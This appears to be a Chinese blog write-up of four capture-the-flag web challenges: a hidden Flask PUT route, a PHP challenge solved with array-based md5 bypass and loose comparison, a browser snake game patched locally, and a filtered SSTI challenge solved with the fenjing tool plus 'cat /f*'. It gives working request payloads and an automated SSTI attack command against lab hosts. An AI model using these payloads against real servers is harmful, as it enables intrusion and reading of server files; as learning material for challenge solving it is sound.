EZ WEB
F12
查看源码发现注释中的提示/src
,访问后查看源码:
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
put方法访问/super-secret-route-nobody-will-guess
获得flag
受不了一点
经典源码套娃题
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $f1ag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
都是很基础的php特性,唯一算是绕点弯的可能出题人失误没用上这个考点,flag直接输出了毫无影响
http://node5.anna.nssctf.cn:28889/?aaa=114514a&bbb=114514&flag=
POST:
gdou[]=1&ctf[]=2
hate eat snake
F12点不动,ctrl+u
查看页面源代码,在snake.js
中找到获得flag的关键信息,ctrl+s
下载网页源代码,将js中的if条件改为永真值本地打开html文件拿到flag。
ez_ze
考查SSTI,过滤了.
,_
,'
等符号,身为一名合格的脚本小子当然是用脚本咯,上payload
python -m fenjing crack --method POST --inputs name --url "http://node1.anna.nssctf.cn:28328/" --action get_flag
之后执行cat /f*
拿到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com